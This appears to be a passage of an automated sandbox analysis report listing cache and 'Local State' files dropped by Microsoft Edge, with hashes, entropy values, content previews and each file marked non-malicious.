Preview:	............................................../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNljuX:Ls3i
MD5:	58D9FDEE48D2EBBA29471C583F7ED040
SHA1:	F9F9A2ADDBD00D68C1C62CF93DC69D7D7BEAE810
SHA-256:	1904D354E9CB38143236966D1D24CB436AFDA7B0E4775F2704BC299EC4708C02
SHA-512:	704BFA8FF3509B2BCD540D8285726F925F24B8D1D84B39C0A3805F1188D8F70B4F23C80D5EDC757B41A8A735FC125BB771C9DB79BA03793087A48C9C899FEDB7
Malicious:	false
Preview:	........................................ ...../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794393972984899
Encrypted:	false
SSDEEP:	96:iaqkHfJRlCi5ih/cI9URLl8Roto1MFVvlwhJe4IbONIeTC6XQS0qGqk+Z4uj+rj1:akLkeiRU2hr6qRAq1k8SPxVLZ7VTiq
MD5:	885448133945CB9E8EC2FD80DF777049
SHA1:	8A87F4C0B4DE549C3A8A3BD3D63774A39507F951
SHA-256:	2F6A52761264B07BD4C6665916C0043D9B4F8613E8FA87E9092805F7F7875D40
SHA-512:	2D143B08763DF95155BA5036E5F243772837960CB9973448905F582194DD5819216258EA1E820F3B60AA25F01677E216956BCD413E77C1BB5AD1BDA82EC4E184
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAADacySGTRTT7K/zDJcbIoaEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABH6fdRB5FKLHWPcK/xOGNtbWrDWD984smF1t5K4D7cugAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2e0e0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794393972984899
Encrypted:	false
SSDEEP:	96:iaqkHfJRlCi5ih/cI9URLl8Roto1MFVvlwhJe4IbONIeTC6XQS0qGqk+Z4uj+rj1:akLkeiRU2hr6qRAq1k8SPxVLZ7VTiq
MD5:	885448133945CB9E8EC2FD80DF777049
SHA1:	8A87F4C0B4DE549C3A8A3BD3D63774A39507F951
SHA-256:	2F6A52761264B07BD4C6665916C0043D9B4F8613E8FA87E9092805F7F7875D40
SHA-512:	2D143B08763DF95155BA5036E5F243772837960CB9973448905F582194DD5819216258EA1E820F3B60AA25F01677E216956BCD413E77C1BB5AD1BDA82EC4E184
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAADacySGTRTT7K/zDJcbIoaEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABH6fdRB5FKLHWPcK/xOGNtbWrDWD984smF1t5K4D7cugAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2e10f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794393972984899
Encrypted:	false
SSDEEP:	96:iaqkHfJRlCi5ih/cI9URLl8Roto1MFVvlwhJe4IbONIeTC6XQS0qGqk+Z4uj+rj1:akLkeiRU2hr6qRAq1k8SPxVLZ7VTiq
MD5:	885448133945CB9E8EC2FD80DF777049
SHA1:	8A87F4C0B4DE549C3A8A3BD3D63774A39507F951
SHA-256:	2F6A52761264B07BD4C6665916C0043D9B4F8613E8FA87E9092805F7F7875D40
SHA-512:	2D143B08763DF95155BA5036E5F243772837960CB9973448905F582194DD5819216258EA1E820F3B60AA25F01677E216956BCD413E77C1BB5AD1BDA82EC4E184
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAADacySGTRTT7K/zDJcbIoaEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABH6fdRB5FKLHWPcK/xOGNtbWrDWD984smF1t5K4D7cugAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2e296.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794393972984899
Encrypted:	false
SSDEEP:	96:iaqkHfJRlCi5ih/cI9URLl8Roto1MFVvlwhJe4IbONIeTC6XQS0qGqk+Z4uj+rj1:akLkeiRU2hr6qRAq1k8SPxVLZ7VTiq
MD5:	885448133945CB9E8EC2FD80DF777049
SHA1:	8A87F4C0B4DE549C3A8A3BD3D63774A39507F951
SHA-256:	2F6A52761264B07BD4C6665916C0043D9B4F8613E8FA87E9092805F7F7875D40
SHA-512:	2D143B08763DF95155BA5036E5F243772837960CB9973448905F582194DD5819216258EA1E820F3B60AA25F01677E216956BCD413E77C1BB5AD1BDA82EC4E184
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAADacySGTRTT7K/zDJcbIoaEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABH6fdRB5FKLHWPcK/xOGNtbWrDWD984smF1t5K4D7cugAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2e2c5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794393972984899
Encrypted:	false
SSDEEP:	96:iaqkHfJRlCi5ih/cI9URLl8Roto1MFVvlwhJe4IbONIeTC6XQS0qGqk+Z4uj+rj1:akLkeiRU2hr6qRAq1k8SPxVLZ7VTiq
MD5:	885448133945CB9E8EC2FD80DF777049
SHA1:	8A87F4C0B4DE549C3A8A3BD3D63774A39507F951
SHA-256:	2F6A52761264B07BD4C6665916C0043D9B4F8613E8FA87E9092805F7F7875D40
SHA-512:	2D143B08763DF95155BA5036E5F243772837960CB9973448905F582194DD5819216258EA1E820F3B60AA25F01677E216956BCD413E77C1BB5AD1BDA82EC4E184
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAADacySGTRTT7K/zDJcbIoaEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABH6fdRB5FKLHWPcK/xOGNtbWrDWD984smF1t5K4D7cugAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF30958.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794393972984899
Encrypted:	false
SSDEEP:	96:iaqkHfJRlCi5ih/cI9URLl8Roto1MFVvlwhJe4IbONIeTC6XQS0qGqk+Z4uj+rj1:akLkeiRU2hr6qRAq1k8SPxVLZ7VTiq
MD5:	885448133945CB9E8EC2FD80DF777049
SHA1:	8A87F4C0B4DE549C3A8A3BD3D63774A39507F951
SHA-256:	2F6A52761264B07BD4C6665916C0043D9B4F8613E8FA87E9092805F7F7875D40
SHA-512:	2D143B08763DF95155BA5036E5F243772837960CB9973448905F582194DD5819216258EA1E820F3B60AA25F01677E216956BCD413E77C1BB5AD1BDA82EC4E184
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAADacySGTRTT7K/zDJcbIoaEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABH6fdRB5FKLHWPcK/xOGNtbWrDWD984smF1t5K4D7cugAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF31648.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794393972984899
Encrypted:	false
SSDEEP:	96:iaqkHfJRlCi5ih/cI9URLl8Roto1MFVvlwhJe4IbONIeTC6XQS0qGqk+Z4uj+rj1:akLkeiRU2hr6qRAq1k8SPxVLZ7VTiq
MD5:	885448133945CB9E8EC2FD80DF777049
SHA1:	8A87F4C0B4DE549C3A8A3BD3D63774A39507F951
SHA-256:	2F6A52761264B07BD4C6665916C0043D9B4F8613E8FA87E9092805F7F7875D40
SHA-512:	2D143B08763DF95155BA5036E5F243772837960CB9973448905F582194DD5819216258EA1E820F3B60AA25F01677E216956BCD413E77C1BB5AD1BDA82EC4E184
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAADacySGTRTT7K/zDJcbIoaEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABH6fdRB5FKLHWPcK/xOGNtbWrDWD984smF1t5K4D7cugAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF31b78.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794393972984899
Encrypted:	false
SSDEEP:	96:iaqkHfJRlCi5ih/cI9URLl8Roto1MFVvlwhJe4IbONIeTC6XQS0qGqk+Z4uj+rj1:akLkeiRU2hr6qRAq1k8SPxVLZ7VTiq
MD5:	885448133945CB9E8EC2FD80DF777049
SHA1:	8A87F4C0B4DE549C3A8A3BD3D63774A39507F951
SHA-256:	2F6A52761264B07BD4C6665916C0043D9B4F8613E8FA87E9092805F7F7875D40
SHA-512:	2D143B08763DF95155BA5036E5F243772837960CB9973448905F582194DD5819216258EA1E820F3B60AA25F01677E216956BCD413E77C1BB5AD1BDA82EC4E184
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAADacySGTRTT7K/zDJcbIoaEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABH6fdRB5FKLHWPcK/xOGNtbWrDWD984smF1t5K4D7cugAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF327ad.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794393972984899
Encrypted:	false
SSDEEP:	96:iaqkHfJRlCi5ih/cI9URLl8Roto1MFVvlwhJe4IbONIeTC6XQS0qGqk+Z4uj+rj1:akLkeiRU2hr6qRAq1k8SPxVLZ7VTiq
MD5:	885448133945CB9E8EC2FD80DF777049
SHA1:	8A87F4C0B4DE549C3A8A3BD3D63774A39507F951
SHA-256:	2F6A52761264B07BD4C6665916C0043D9B4F8613E8FA87E9092805F7F7875D40
SHA-512:	2D143B08763DF95155BA5036E5F243772837960CB9973448905F582194DD5819216258EA1E820F3B60AA25F01677E216956BCD413E77C1BB5AD1BDA82EC4E184
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAADacySGTRTT7K/zDJcbIoaEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABH6fdRB5FKLHWPcK/xOGNtbWrDWD984smF1t5K4D7cugAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF327bd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794393972984899
Encrypted:	false
SSDEEP:	96:iaqkHfJRlCi5ih/cI9URLl8Roto1MFVvlwhJe4IbONIeTC6XQS0qGqk+Z4uj+rj1:akLkeiRU2hr6qRAq1k8SPxVLZ7VTiq
MD5:	885448133945CB9E8EC2FD80DF777049
SHA1:	8A87F4C0B4DE549C3A8A3BD3D63774A39507F951
SHA-256:	2F6A52761264B07BD4C6665916C0043D9B4F8613E8FA87E9092805F7F7875D40
SHA-512:	2D143B08763DF95155BA5036E5F243772837960CB9973448905F582194DD5819216258EA1E820F3B60AA25F01677E216956BCD413E77C1BB5AD1BDA82EC4E184
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAADacySGTRTT7K/zDJcbIoaEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABH6fdRB5FKLHWPcK/xOGNtbWrDWD984smF1t5K4D7cugAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF327ec.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794393972984899
Encrypted:	false
SSDEEP:	96:iaqkHfJRlCi5ih/cI9URLl8Roto1MFVvlwhJe4IbONIeTC6XQS0qGqk+Z4uj+rj1:akLkeiRU2hr6qRAq1k8SPxVLZ7VTiq
MD5:	885448133945CB9E8EC2FD80DF777049
SHA1:	8A87F4C0B4DE549C3A8A3BD3D63774A39507F951
SHA-256:	2F6A52761264B07BD4C6665916C0043D9B4F8613E8FA87E9092805F7F7875D40
SHA-512:	2D143B08763DF95155BA5036E5F243772837960CB9973448905F582194DD5819216258EA1E820F3B60AA25F01677E216956BCD413E77C1BB5AD1BDA82EC4E184
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAADacySGTRTT7K/zDJcbIoaEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABH6fdRB5FKLHWPcK/xOGNtbWrDWD984smF1t5K4D7cugAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3474b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794393972984899
Encrypted:	false
SSDEEP:	96:iaqkHfJRlCi5ih/cI9URLl8Roto1MFVvlwhJe4IbONIeTC6XQS0qGqk+Z4uj+rj1:akLkeiRU2hr6qRAq1k8SPxVLZ7VTiq
MD5:	885448133945CB9E8EC2FD80DF777049
SHA1:	8A87F4C0B4DE549C3A8A3BD3D63774A39507F951
SHA-256:	2F6A52761264B07BD4C6665916C0043D9B4F8613E8FA87E9092805F7F7875D40
SHA-512:	2D143B08763DF95155BA5036E5F243772837960CB9973448905F582194DD5819216258EA1E820F3B60AA25F01677E216956BCD413E77C1BB5AD1BDA82EC4E184
Malicious:	false
